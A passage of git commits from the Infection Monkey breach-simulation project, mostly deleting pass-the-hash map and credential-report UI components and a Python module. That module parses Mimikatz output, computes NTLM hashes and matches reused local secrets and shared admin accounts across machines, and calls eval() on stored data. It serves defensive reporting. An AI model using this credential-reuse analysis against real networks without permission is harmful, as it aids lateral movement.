    - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.scanInfo(this.props.item); - case 'node': - return this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); - case 'island_edge': - return this.islandEdgeInfo(); - } - - return null; - } -} - -export default InfMapPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js deleted file mode 100644 index f9a5ae1bb..000000000 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js +++ /dev/null @@ -1,63 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class PthPreviewPaneComponent extends PreviewPaneComponent { - nodeInfo(asset) { - return ( -
    - - - - - - - - - - - - - - - - - - - -
    Hostname{asset.hostname}
    IP Addresses{asset.ips.map(val =>
    {val}
    )}
    Services{asset.services.map(val =>
    {val}
    )}
    Compromised Users{asset.users.map(val =>
    {val}
    )}
    -
    - ); - } - - edgeInfo(edge) { - return ( -
    - - - - - - - -
    Compromised Users{edge.users.map(val =>
    {val}
    )}
    -
    - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.edgeInfo(this.props.item); - case 'node': - return this.nodeInfo(this.props.item); - } - - return null; - } -} - -export default PthPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js deleted file mode 100644 index 20faafca7..000000000 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ /dev/null @@ -1,58 +0,0 @@ -import React from 'react'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import AuthComponent from '../AuthComponent'; -import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; -import PreviewPane from "../map/preview-pane/PreviewPane"; -import {Col} from "react-bootstrap"; -import {Link} from 'react-router-dom'; -import {Icon} from 'react-fa'; -import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; - -class PassTheHashMapPageComponent extends AuthComponent { - constructor(props) { - super(props); - this.state = { - graph: props.graph, - selected: null, - selectedType: null - }; - } - - events = { - select: event => this.selectionChanged(event) - }; - - selectionChanged(event) { - if (event.nodes.length === 1) { - let displayedNode = this.state.graph.nodes.find( - function (node) { - return node['id'] === event.nodes[0]; - }); - this.setState({selected: displayedNode, selectedType: 'node'}) - } - else if (event.edges.length === 1) { - let displayedEdge = this.state.graph.edges.find( - function (edge) { - return edge['id'] === event.edges[0]; - }); - this.setState({selected: displayedEdge, selectedType: 'edge'}); - } - else { - this.setState({selected: null, selectedType: null}); - } - } - - render() { - return ( -
    - -
    - -
    - -
    - ); - } -} - -export default PassTheHashMapPageComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js b/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js deleted file mode 100644 index bf57065d5..000000000 --- a/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js +++ /dev/null @@ -1,42 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Admins Between Machines', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - ] - } -]; - -const pageSize = 10; - -class SharedAdminsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedAdminsComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/SharedCreds.js b/monkey_island/cc/ui/src/components/report-components/SharedCreds.js deleted file mode 100644 index f42494167..000000000 --- a/monkey_island/cc/ui/src/components/report-components/SharedCreds.js +++ /dev/null @@ -1,41 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Credentials', - columns: [ - {Header: 'Credential Group', id: 'cred_group', accessor: x => renderArray(x.cred_group) } - ] - } -]; - -const pageSize = 10; - -class SharedCredsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedCredsComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js deleted file mode 100644 index 36068f26e..000000000 --- a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ /dev/null @@ -1,44 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Powerful Users', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} - ] - } -]; - -const pageSize = 10; - -class StrongUsersComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default StrongUsersComponent; diff --git a/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey_island/cc/ui/src/images/nodes/pth/critical.png deleted file mode 100644 index 0348a7f5d312b0400da47f60a5f2d81682bd19a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 20067 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 From 4ce30de3020dabcf0cd1e07b2bee235ed58f31be Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 13:59:32 +0300 Subject: [PATCH 103/183] Changed the way the username is displayed in the shared admin bulletin --- monkey/monkey_island/cc/services/pth_report.py | 2 -- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 3 ++- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 0bd9c332d..95e0717e1 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -171,8 +171,6 @@ class PTHReportService(object): return table_entries - - @staticmethod def generate_map_nodes(): diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 260701c4d..98224541c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -787,7 +787,8 @@ class ReportPageComponent extends AuthComponent {
  • Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. - Here is a list of machines which has this account defined as an administrator: + Here is a list of machines which the account {issue.username} is defined as an administrator: {this.generateInfoBadges(issue.shared_machines)}
  • From b443652b0ea58cc3a7892ab0a7f8fce0614356ec Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 18:53:56 +0300 Subject: [PATCH 104/183] Cleaned up the code and removed not needed files --- .../monkey_island/cc/services/pth_report.py | 13 +- .../cc/services/pth_report_utils.py | 962 ------------------ monkey/monkey_island/cc/services/report.py | 5 +- 3 files changed, 11 insertions(+), 969 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/pth_report_utils.py diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 95e0717e1..7a3dbc39b 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -222,18 +222,22 @@ class PTHReportService(object): if pair[0] != pair[1]: yield pair + @staticmethod + def get_pth_map(): + return { + 'nodes': PTHReportService.generate_map_nodes(), + 'edges': PTHReportService.generate_edge_nodes() + } + @staticmethod def get_report(): PTHReportService.get_strong_users_on_critical_machines_nodes() - - issues = [] report = \ { 'report_info': { - 'strong_users_table': PTHReportService.get_strong_users_on_crit_details(), - 'pth_issues': issues + 'strong_users_table': PTHReportService.get_strong_users_on_crit_details() }, 'pthmap': @@ -244,3 +248,4 @@ class PTHReportService(object): } return report + diff --git a/monkey/monkey_island/cc/services/pth_report_utils.py b/monkey/monkey_island/cc/services/pth_report_utils.py deleted file mode 100644 index 13fe3654f..000000000 --- a/monkey/monkey_island/cc/services/pth_report_utils.py +++ /dev/null @@ -1,962 +0,0 @@ -import hashlib -import binascii -import copy -import uuid - -from cc.database import mongo -from cc.services.node import NodeService - -DsRole_RoleStandaloneWorkstation = 0 -DsRole_RoleMemberWorkstation = 1 -DsRole_RoleStandaloneServer = 2 -DsRole_RoleMemberServer = 3 -DsRole_RoleBackupDomainController = 4 -DsRole_RolePrimaryDomainController = 5 - -SidTypeUser = 1 -SidTypeGroup = 2 -SidTypeDomain = 3 -SidTypeAlias = 4 -SidTypeWellKnownGroup = 5 -SidTypeDeletedAccount = 6 -SidTypeInvalid = 7 -SidTypeUnknown = 8 -SidTypeComputer = 9 - - -def is_group_sid_type(type): - return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) - - -def myntlm(x): - hash = hashlib.new('md4', x.encode('utf-16le')).digest() - return str(binascii.hexlify(hash)) - - -def cache(foo): - def hash(o): - if type(o) in (int, float, str, unicode): - return repr(o) - - elif type(o) in (type(None),): - return "___None___" - - elif type(o) in (list, tuple, set): - hashed = tuple([hash(x) for x in o]) - - if "NotHashable" in hashed: - return "NotHashable" - - return hashed - - elif type(o) == dict: - hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) - hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) - - if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: - return "NotHashable" - - return tuple(zip(hashed_keys, hashed_vals)) - - elif type(o) == Machine: - return o.monkey_guid - - # elif type(o) == PthMap: - # return "PthMapSingleton" - - elif type(o) == PassTheHashReport: - return "PassTheHashReportSingleton" - - else: - assert False, "%s of type %s is not hashable" % (repr(o), type(o)) - return "NotHashable" - - def wrapper(*args, **kwargs): - hashed = (hash(args), hash(kwargs)) - - if "NotHashable" in hashed: - return foo(*args, **kwargs) - - if not hasattr(foo, "_mycache_"): - foo._mycache_ = dict() - - if hashed not in foo._mycache_.keys(): - foo._mycache_[hashed] = foo(*args, **kwargs) - - return copy.deepcopy(foo._mycache_[hashed]) - - return wrapper - - -class Machine(object): - def __init__(self, monkey_guid): - self.monkey_guid = str(monkey_guid) - - self.latest_system_info = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit( - 1) - - if self.latest_system_info.count() > 0: - self.latest_system_info = self.latest_system_info[0] - else: - self.latest_system_info = None - - self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) - - def __eq__(self, other): - if isinstance(other, self.__class__): - return self.monkey_guid == other.monkey_guid - else: - return False - - @cache - def GetMimikatzOutput(self): - doc = self.latest_system_info - - if not doc: - return None - - return doc.get("data").get("mimikatz") - - @cache - def GetHostName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Name")) - - return None - - @cache - def GetIp(self): - doc = self.latest_system_info - - for addr in doc.get("data").get("network_info", {}).get("networks", {}): - return str(addr["addr"]) - - return None - - @cache - def get_monkey_id(self): - doc = self.monkey_info - - return str(doc.get('_id')) - - @cache - def GetDomainName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Domain")) - - return None - - @cache - def GetDomainRole(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return comp.get("DomainRole") - - return None - - @cache - def IsDomainController(self): - return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - - #@cache - def GetSidByUsername(self, username, domain=None): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount", {}): - if eval(user.get("Name")) != username: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - if domain and user.get("Domain") != domain: - continue - - return eval(user.get("SID")) - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - sid = dc.GetSidByUsername(username) - - if sid != None: - return sid - - return None - - @cache - def GetUsernameBySid(self, sid): - info = self.GetSidInfo(sid) - - if not info: - return None - - return str(info.get("Domain")) + "\\" + str(info.get("Username")) - - @cache - def GetSidInfo(self, sid): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount",{}): - if eval(user.get("SID")) != sid: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - return {"Domain": eval(user.get("Domain")), - "Username": eval(user.get("Name")), - "Disabled": user.get("Disabled") == "true", - "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", - 'hostname': doc.get('data').get('hostname'), } - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - domain = dc.GetSidInfo(sid) - - if domain != None: - return domain - - return None - - @cache - def GetCriticalServicesInstalled(self): - def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') - services = map(str.lower, services) - - if not name: - return False - - name = name.lower() - - return name in services - # for ser in services: - # if ser in name: - # return True - - return False - - doc = self.latest_system_info - found = [] - - if self.IsDomainController(): - found.append("Domain Controller") - - for product in doc.get("data").get("Win32_Product", {}): - service_name = eval(product.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - found.append(service_name) - - for service in doc.get("data").get("Win32_Service", {}): - service_name = eval(service.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - if eval(service.get("State")) != "Running": - continue - - found.append(service_name) - - return found - - @cache - def IsCriticalServer(self): - return len(self.GetCriticalServicesInstalled()) > 0 - - @cache - def GetUsernamesBySecret(self, secret): - sam = self.GetLocalSecrets() - - names = set() - - for username, user_secret in sam.iteritems(): - if secret == user_secret: - names.add(username) - - return names - - @cache - def GetSidsBySecret(self, secret): - usernames = self.GetUsernamesBySecret(secret) - return set(map(self.GetSidByUsername, usernames)) - - def GetGroupSidByGroupName(self, group_name): - doc = self.latest_system_info - - for group in doc.get('data').get("Win32_Group", {}): - if eval(group.get("Name")) != group_name: - continue - - if not is_group_sid_type(group.get("SIDType")): - continue - - return eval(group.get("SID")) - - return None - - def GetUsersByGroupSid(self, sid): - doc = self.latest_system_info - - users = dict() - - for group_user in doc.get('data').get("Win32_GroupUser", {}): - if eval(group_user.get("GroupComponent", {}).get("SID")) != sid: - continue - - if not is_group_sid_type(group_user.get("GroupComponent", {}).get("SIDType")): - continue - - if "PartComponent" not in group_user.keys(): - continue - - if type(group_user.get("PartComponent")) in (str, unicode): - # PartComponent is an id to Win32_UserAccount table - - wmi_id = group_user.get("PartComponent") - - if "cimv2:Win32_UserAccount" not in wmi_id: - continue - - username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] - - sid = self.GetSidByUsername(username, domain) - users[sid] = username - - else: - if group_user.get("PartComponent", {}).get("SIDType") != SidTypeUser: - continue - - users[eval(group_user.get("PartComponent", {}).get("SID"))] = 